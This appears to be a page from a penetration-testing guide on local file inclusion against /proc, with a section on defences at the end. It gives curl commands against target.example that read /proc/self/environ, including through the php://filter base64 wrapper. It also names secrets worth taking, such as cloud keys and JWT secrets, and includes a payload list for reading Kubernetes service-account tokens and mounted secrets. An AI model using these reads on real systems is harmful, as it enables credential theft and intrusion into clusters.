Skip to content
highCVSS 7.5CWE-22A01:2021 – Broken Access Control

/proc, environ, and File Descriptors

In a containerised deployment the secrets are in the environment, not the config file. /proc/self/environ is one traversal away and is frequently the whole engagement.

Why /proc got more interesting, not less

The classic use of /proc/self/environ was as a write primitive: on mod_php, the User-Agent header ended up in the process environment, so you could put PHP source in a header and then include environ to execute it.

That is largely gone. PHP-FPM does not reflect request headers into the worker's environment, and the process serving your request is not the one that read the header anyway.

What replaced it is better. Modern deployments inject configuration as environment variables — database URLs, object-store credentials, API keys, framework secrets. So /proc/self/environ stopped being a way to run code and became the fastest route to every credential the application has. On a container that is frequently a more valuable read than the config file, because it includes things that never appear in the repository.

The files worth knowing

PathContainsNotes
/proc/self/environThe worker's environment variablesNull-separated. The highest-value read on a container
/proc/self/cmdlineargv of the workerNull-separated. Credentials passed as flags show up here
/proc/self/cwd/A symlink to the working directoryPrefix it to reach app files without knowing the absolute path
/proc/self/root/A symlink to the process rootTraverses the chroot boundary if there is one
/proc/self/fd/NWhatever fd N isIncludes deleted files still held open
/proc/self/mountsMounted filesystemsContainer detection; shows where volumes are attached
/proc/self/statusUID, GID, capabilitiesTells you what the read primitive can reach
/proc/net/tcpOpen sockets in hexInternal services to pivot to. No root required
/proc/versionKernel versionHost fingerprinting
/proc/<pid>/environAnother process's environmentOnly if same UID. Enumerate pids from /proc

Reading environ

Bash
# environ is null-separated, so it arrives as one long run in the response.
# Translate the nulls to newlines to make it readable.
curl -s 'https://target.example/index.php?page=/proc/self/environ' | tr '\0' '\n'

# Through the filter wrapper, which survives HTML mangling much better:
curl -s 'https://target.example/index.php?page=php://filter/convert.base64-encode/resource=/proc/self/environ' \
  | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | base64 -d | tr '\0' '\n'

# What you are looking for:
#   DATABASE_URL=postgres://user:pass@db.internal/app
#   AWS_SECRET_ACCESS_KEY=…
#   AWS_SESSION_TOKEN=…
#   APP_KEY=base64:…            <- forge sessions with this
#   REDIS_URL=…  JWT_SECRET=…  STRIPE_SECRET_KEY=…
#   KUBERNETES_SERVICE_HOST=…   <- you are in a pod; see the token below

A caveat about /proc/self

/proc/self refers to the process doing the reading. Under PHP-FPM that is the worker handling your request, which is what you want.

But which worker handles a given request is not stable, and workers are recycled. Two consequences worth knowing before you spend an hour on a confusing result:

  • The environment is usually identical across workers, because they are all forked from the same master with the same environment. So self is fine for environ.
  • File descriptors are not. /proc/self/fd/8 on one request and the next are different files. Anything you do with descriptors has to happen within one request, which is a real constraint on the temp-file race.

If you need a specific process, enumerate: /proc/1/environ is the container's init, which under many orchestrators has an even richer environment than the worker.

File descriptors

/proc/self/fd/N reaches whatever the process has open, including files that have been unlinked and therefore have no path at all.

That last property is the interesting one. A PHP upload that has been moved or deleted still exists as long as a descriptor is open, and reading it through /proc/self/fd/ is one of the ways the temp-file race is exploited.

What you will typically find:

  • 0, 1, 2 — stdin, stdout, stderr. Under FPM these often point at the error log.
  • Low single digits — listening sockets and log files opened at startup.
  • Anything above about 5 — request-scoped. Session files, uploads, database sockets.

Brute-force the range 0–30. It is cheap, and the payoff is a file you could not otherwise name.

In a container

Payloadworth reading, in order
# Am I in a container, and what kind?
/proc/self/mounts
/proc/self/cgroup
/.dockerenv                        (exists on Docker; a plain empty file)

# Kubernetes: the service account token is mounted into every pod by
# default and is readable by the app user. This is often the single
# highest-value file on the filesystem.
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Mounted secrets, if the deployment uses files rather than env vars.
/run/secrets/*                     (Docker Swarm / compose secrets)

# What can I reach on the network?
/proc/net/tcp                      (hex; ports of local listeners)
/proc/net/fib_trie                 (the pod's own subnet)
/etc/resolv.conf                   (the cluster DNS suffix)
/etc/hosts

# Note that cloud instance metadata (169.254.169.254) is NOT a file. Reaching
# it needs SSRF, which a read-only inclusion does not give you — unless the
# sink is one of the URL-capable ones. See /guide/classic-rfi

What stops it

  • open_basedir. /proc is not in the app tree, so this is one of the cases where it genuinely helps. See open_basedir and disable_functions.
  • A hardened /proc mount. hidepid=2 hides other processes' directories, but /proc/self remains readable — that is the process reading it. Most of this page still works.
  • A distroless or scratch image. /proc is still there; /etc/passwd may not be. This makes /proc/self/environ more important, not less.
  • A prepended directory or appended extension. The usual constraints; /proc paths are ordinary paths.

What does not stop it: any allow_url_* setting, any PHP version, or any amount of filtering on the string .. if you can supply an absolute path.